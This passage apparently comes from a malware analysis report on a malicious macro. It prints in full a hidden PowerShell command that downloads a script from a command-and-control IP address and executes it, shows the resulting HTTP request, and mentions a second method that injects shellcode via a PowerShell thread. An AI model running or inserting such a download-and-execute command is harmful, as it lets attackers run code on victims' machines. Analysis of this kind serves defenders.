The macro carries out this first technique by running the following command:powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegae1')"The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute: GET /eiloShaegae1 HTTP/1.1 Host: 139.59.46[.]154:3485 Connection: Keep-Alive The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code